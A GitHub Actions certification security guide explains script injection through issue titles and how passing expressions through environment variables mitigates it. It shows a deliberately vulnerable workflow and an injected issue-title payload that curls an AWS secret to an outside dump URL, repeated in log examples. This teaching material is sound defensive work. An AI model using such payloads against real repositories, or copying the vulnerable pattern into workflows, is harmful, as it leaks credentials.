GitHub Actions Certification

Security Guide

Mitigating Script Injection Attack

Protect your CI/CD pipelines by ensuring untrusted input cannot execute malicious commands or leak secrets. Inline scripts that interpolate user-controlled data directly in shell code are especially vulnerable.

Problem: Inline Script Injection

A workflow that reads an issue title into a shell variable without sanitization allows an attacker to inject arbitrary commands:

name: Label Issues (Script Injection)
on:
  issues:
    types: [opened]

jobs:
  assign-label:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/[email protected]
      - name: Add a Label
        env:
          AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
        run: |
          issue_title="{{ github.event.issue.title }}"
          if [[ "$issue_title" == *"bug"* ]]; then
            echo "Issue is about a bug!"
            echo "Assigning Label - BUG..."
          else
            echo "Not a bug"
          fi

A malicious issue title such as:

bug"; curl --request POST --data anything=$AWS_SECRET_ACCESS_KEY \
  https://httpdump.app/dumps/c2a7d181-5768-4cb5-a930-4d016c38d7d2

would run the curl command and expose your secret.

Exploit Demonstration

  1. Open a new issue with the payload above.
  2. Check workflow logs:
Run if [[ "$issue_title" == *"bug"* ]]; then ...
shell: /usr/bin/bash -e {0}
env:
  AWS_SECRET_ACCESS_KEY: ***
  issue_title: bug"; curl --request POST --data anything=$AWS_SECRET_ACCESS_KEY \
    https://httpdump.app/dumps/c2a7d181-5768-4cb5-a930-4d016c38d7d2

The injected curl runs before your conditional, leaking secrets.

Solution: Use Environment Variables for Expressions

Store GitHub expressions in environment variables. Because Actions resolves ${{ }} outside the shell, any injected payload remains inert.

name: Label Issues (Script Injection Mitigated)
on:
  issues:
    types: [opened]

jobs:
  assign-label:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/[email protected]
      - name: Add a Label
        env:
          AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
          issue_title: '${{ github.event.issue.title }}'
        run: |
          if [[ "$issue_title" == *"bug"* ]]; then
            echo "Issue is about a bug!"
            echo "Assigning Label - BUG"
          else
            echo "Not a bug"
          fi

Note

Quoting the expression ('${{ ... }}') ensures the shell sees it as a literal. Any embedded quotes or commands will not be evaluated.

ApproachRiskMitigation
Inline interpolation in run scriptArbitrary code execution, secret leaksUse env variables with quoted ${{ }} expressions
Storing untrusted data in files or scriptsPayload injection at parse timeAvoid inline scripts; prefer action inputs or env vars

Demonstration of Safe Execution

# Workflow environment shows the raw payload but does not execute it:
env:
  AWS_SECRET_ACCESS_KEY: ***
  issue_title: bug"; curl --request POST --data anything=$AWS_SECRET_ACCESS_KEY \
    https://httpdump.app/dumps/c2a7d181-5768-4cb5-a930-4d016c38d7d2

# Execution output:
Issue is about a bug!
Assigning Label - BUG

Even though the payload appears in issue_title, the curl never executes. Your secret remains safe.

Further Security Hardening

Go beyond input sanitization to fully secure your workflows:

  • Least Privilege: Grant minimal permissions to tokens and service accounts.
  • Action Pinning: Pin actions to specific versions or commit SHAs.
  • Third-Party Review: Audit community actions before use.
  • Avoid Inline Scripts: Use dedicated action steps or scripts in your repo.

Warning

Never expose secrets in logs or pass untrusted input to shell commands without sanitization.

References

Watch Video

Watch video content

Previous
Risk of Script Injection Attack